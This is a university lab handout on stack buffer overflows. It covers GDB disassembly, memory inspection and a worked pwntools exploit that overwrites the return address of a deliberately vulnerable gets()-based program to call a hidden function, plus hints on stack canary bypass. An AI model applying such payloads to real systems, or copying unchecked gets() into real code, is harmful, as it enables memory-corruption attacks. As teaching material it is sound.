

Lab #2. Buffer Overflow

Prof. Jaeseung Choi

Dept. of Computer Science and Engineering

Sogang University

General Information

■ Check "Lab #2" in *Assignment* tab of *Cyber Campus*

- Skeleton code (`Lab2.tgz`) is attached in the post
- Deadline: **10/17** Thursday 23:59
- Submission will be accepted in that post, too
- Late submission deadline: **10/19** Saturday 23:59 **(-20% penalty)**
- Delay penalty is applied uniformly **(not problem by problem)**

■ **Please read the instructions in this slide carefully**

- This slide is step-by-step tutorial for the lab
- It also contains important submission guidelines
 - If you do not follow the guidelines, you will get penalty

Remind: Cheating Policy

- **Cheating (code copy) is strictly forbidden in this course**
 - Read the orientation slide once more
- **Don't ask for solutions in the online community**
 - TA will regularly monitor the communities
- **Sharing your code with others is as bad as copying**
 - Your cooperation is needed to manage this course successfully
- **Starting from this lab, you must submit a report as well**
 - More instructions are provided at the end of this slide

Skeleton Code Structure

- Copy Lab2.tgz into CSPRO server and decompress it
 - You must connect to csproN.sogang.ac.kr (N = 2, 3, or 7)
- Skeleton code has similar structure to the previous lab
 - 2-1/ ... 2-4/ : Problems that you have to solve
 - 2-5/ : *Bonus problem* for practice (**not included in grading**)
 - But this one will be important when preparing the lab exam
 - **check.py**, **config** : Files for self-grading
- This slide will provide a guide on assembly analysis
 - It also provides a detailed tutorial for solving 2-1

```
jschoi@cspro2:~$ tar -xzf Lab2.tgz
jschoi@cspro2:~$ ls Lab2
2-1  2-2  2-3  2-4  2-5  check.py  config
```

Example: Problem 2-1

- Source (echo1.c) and binary (echo1.bin) are given

```
void print_secret(void);  
  
void echo(void) {  
    char buf[50];  
    puts("Input your message:");  
    gets(buf);  
    puts(buf);  
}  
  
int main(void) {  
    echo();  
    return 0;  
}
```

Your goal is to execute
this function

For that, you must
exploit this BOF

GDB Usage: Disassemble Binary

■ Command: **disassemble** <func> (or **disas** <func>)

- Prints the assembly code of <func>

```
jschoi@cspro2:~/Lab2/2-1$ gdb ./echo1.bin -q
(gdb) disas echo
Dump of assembler code for function echo:
   0x000000000040120c <+0>:      sub     $0x48,%rsp
   0x0000000000401210 <+4>:      mov     $0x40204e,%edi
   0x0000000000401215 <+9>:      call   0x401030 <puts@plt>
   0x000000000040121a <+14>:     mov     %rsp,%rdi
   0x000000000040121d <+17>:     mov     $0x0,%eax
   0x0000000000401222 <+22>:     call   0x401070 <gets@plt>
   0x0000000000401227 <+27>:     mov     %rsp,%rdi
   0x000000000040122a <+30>:     call   0x401030 <puts@plt>
   0x000000000040122f <+35>:     add     $0x48,%rsp
   0x0000000000401233 <+39>:     ret
```

GDB Usage: Examine Memory

■ Let' examine the argument of the first puts()

- From the source code, we already know that the first argument is string "Input your message:"
- In assembly code, **0x40204e** is passed as the first argument
 - Recall the calling convention of x86-64
- Let's confirm if this address really contains the expected string ("Input your message:")

Dump of assembler code for function echo:

```
0x000000000040120c <+0>:      sub     $0x48,%rsp
0x0000000000401210 <+4>:      mov     $0x40204e,%edi
0x0000000000401215 <+9>:      call   0x401030 <puts@plt>
```

...

GDB Usage: Examine Memory

■ Command: **x/<N><t> <addr>**

- Print <N> chunks of data in <t> type, starting from <addr>
- <N> can be omitted when it is 1
- <t> can specify various formats
- Ex) **x/16xb <addr>** : print 16 bytes in hex
- Ex) **x/10xw <addr>** : print 10 words* (4-byte chunks) in hex
- Ex) **x/2xg <addr>** : print 2 giant words (8-byte chunks) in hex
- Ex) **x/s <addr>** : print one string (until the null character)

```
(gdb) x/s 0x40204e
```

```
0x40204e:    "Input your message:"
```

```
(gdb) x/20xb 0x40204e
```

```
0x40204e:    0x49    0x6e    0x70    0x75    0x74    0x20    0x79    0x6f
```

```
0x402056:    0x75    0x72    0x20    0x6d    0x65    0x73    0x73    0x61
```


```
0x40205e:    0x67    0x65    0x3a    0x00
```


Analyzing Buffer Overflow

- We must compute the distance between **char buf[50]** and saved return address (by analyzing assembly code)

Dump of assembler code for function echo:

```
0x000000000040120c <+0>:      sub    $0x48,%rsp
0x0000000000401210 <+4>:      mov     $0x40204e,%edi
0x0000000000401215 <+9>:      call   0x401030 <puts@plt>
0x000000000040121a <+14>:     mov     %rsp,%rdi
0x000000000040121d <+17>:     mov     $0x0,%eax
0x0000000000401222 <+22>:     call   0x401070 <gets@plt>
```



GDB Usage: Runtime Debugging

- Sometimes, you may want to observe the program execution to confirm whether your analysis is correct
- Command: **b * <addr>**
 - Set a breakpoint at <addr>
- Command: **r**
 - Run the program (will stop when breakpoint is met)
- Command: **c**
 - Continue the execution by resuming from the breakpoint
- Command: **ni**
 - Execute the next one instruction
- Command: **si**
 - Execute the next one instruction, while stepping into a function

GDB Usage: Runtime Debugging

■ Let's set a breakpoint right before the gets() call

- When we hit the breakpoint, we can type GDB commands
- Note: In **x/10xg \$rsp**, we used **\$rsp** in the place of **<addr>**

```
(gdb) b * 0x401222
```

```
Breakpoint 1 at 0x401222
```

```
(gdb) r
```

```
Starting program: ...
```

```
Input your message:
```

```
Breakpoint 1, 0x0000000000401222 in echo ()
```

```
(gdb) x/10xg $rsp
```

```
0x7fffffffef210: 0x000000000000006f0
```

```
0x00007fffffffef5e9
```

```
0x7fffffffef220: 0x00007ffffffc1000
```

```
0x0000010101000000
```

```
0x7fffffffef230: 0x0000000000000002
```

```
0x000000001f8bfbff
```

```
0x7fffffffef240: 0x00007fffffffe5f9
```

```
0x0000000000000064
```

```
0x7fffffffef250: 0x0000000000001000
```

```
0x000000000040123d
```

Saved return
address

GDB Usage: Runtime Debugging

- Let's continue the execution and corrupt return address
- By typing string **"A" * 0x48 + "BCDE"**, we can corrupt the saved return address and manipulate %rip into 0x45444342
 - Use **info reg <register>** command to check the register value
 - Why not 0x42434445? Recall the **little endian** byte ordering!

You type in this line as program input
("A" is repeated 0x48 times, omitted here)

```
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAA ... AAAAAAAAAAAAAAAAAAAAAABCDE
AAAAAAAAAAAAAAAAAAAA ... AAAAAAAAAAAAAAAAAAAAAABCDE

Program received signal SIGSEGV, Segmentation fault.
0x0000000045444342 in ?? ()
(gdb) info reg rip
rip                0x45444342                0x45444342
```

Writing Exploit Code

- Now we know that we can corrupt the `%rip` register into `0x45444342` with the following exploit code
 - But our final goal is to manipulate `%rip` into the address of `print_secret()` function
 - How can we do that?

```
# The following code corresponds to the interaction
# in the previous page.
def exploit():
    p = process("./echo1.bin")
    print(p.recvuntil(b"message:\n"))
    p.sendline(b"A" * 0x48 + b"BCDE")
    print(p.recvline())
```

Writing Exploit Code

■ First, find out that **print_secret()** is at **0x401186**

- Knowing its address is enough; don't analyze its internal code

```
(gdb) disas print_secret
```

```
Dump of assembler code for function print_secret:
```

```
0x0000000000401186 <+0>:      push    %rbx
```

■ Python allows us to input **arbitrary character bytes**

- Use `\x` escaper to specify arbitrary byte (even if non-printable)

```
...  
print(p.recvuntil(b"message:\n"))  
p.sendline(b"A" * 0x48 + b"\x86\x11\x40")  
print(p.recvline())  
print(p.recvline())  # One more recvline() call
```

Self-grading Your Exploit

- You can run `check.py` to test if your exploit code can successfully print out the content of `secret.txt`
 - `"./check.py"` will check the exploits for problems one by one
 - Symbols in the result have the following meanings
 - `'0'`: Success, `'X'`: Fail, `'T'`: Timeout, `'E'`: Exception

```
jschoi@csp2:~/Lab2/$ ls
2-1  2-2  2-3  2-4  2-5  check.py  config
jschoi@csp2:~/Lab2/$ ./check.py
[*] 2-1 : 0
[*] 2-2 : X
[*] 2-3 : X
[*] 2-4 : X
```

Hints

- **Stack canary is disabled for problem 2-1 and 2-2, and enabled for the other problems**
 - How can we bypass the stack canary? Review the "**Bypassing Stack Canary**" page in our lecture slide
- **When the exploit code does not work as you expected, you can debug it with GDB**
 - Ex) Set a breakpoint on appropriate instruction and examine the status of registers and memory

Report Guideline

■ Write report for 2-2, 2-3 and 2-4 (not required for 2-1)

- The role of report is to prove that you solved them on your own
- If you didn't solve a problem, don't have to write its report
- Report will not give you score; it is only used to deduct point

■ Be concise, but clearly describe your reasoning

- Don't have to write things like the history of buffer overflow
- Guideline: about one page for each problem
- But don't say "I intuitively guessed and it just worked", or copy the memory dump obtained with GDB command `x/Nx`

■ If you used ChatGPT to write your exploit code, clearly describe it in your report (review the orientation slide)

- No length limitation for this part

Report Guideline

■ For each problem, answer to the following questions

- Q. In source code, at which line does buffer overflow occur?
What is the address of the corresponding assembly instruction?
- Q. Draw the stack frame layout at the point of buffer overflow, based on the result of assembly code analysis.
- Q. Explain why your exploit code is providing that input. What kind of program data do you want to corrupt with that input?

Report Guideline (2-1 as example)

■ For each problem, answer to the following questions

- Q. In source code, at which line does buffer overflow occur?
What is the address of the corresponding assembly instruction?
 - A. Buffer overflow occurs during `gets()` call in line 11. In assembly code, it corresponds to address `0x401222`
- Q. Draw the stack frame layout at the point of buffer overflow, based on the result of assembly code analysis.
 - A. See the figure in page 9 of this slide
- Q. Explain why your exploit code is providing that input. What kind of program data do you want to corrupt with that input?
 - A. In `echo()`'s stack frame, the distance between the start of `buf[]` and saved return address is `0x48`. Therefore, we must provide `0x48`-byte input (`"A" * 0x48`) followed by the address of `print_secret()` function (`"\x86\x11\x40"`)

Problem Information

- **There are four problems you have to solve (25 pt. each)**
 - Problem 2-1: `echo1.bin`
 - Problem 2-2: `echo2.bin`
 - Problem 2-3: `guess.bin`
 - Problem 2-4: `fund.bin`
- **You'll get the point for each problem if the exploit works**
 - **No partial point for non-working exploit**
- **If the report does not clearly explain how you analyzed and solved the problem, you will lose points**
 - Due to limited resource, I will randomly select 1 or 2 problems when grading the reports

Submission Guideline

■ You should submit four exploit scripts and report

- Problem 2-1: `exploit-echo1.py`
- Problem 2-2: `exploit-echo2.py`
- Problem 2-3: `exploit-guess.py`
- Problem 2-4: `exploit-fund.py`
- **Don't forget the report: `report.pdf`**
- 2-5 is a bonus problem, so you don't have to submit it

■ Submission format

- Upload these files directly to *Cyber Campus* (**do not zip them**)
- **Do not change the file name** (e.g., adding any prefix or suffix)
- If your submission format is wrong, you will get **-20% penalty**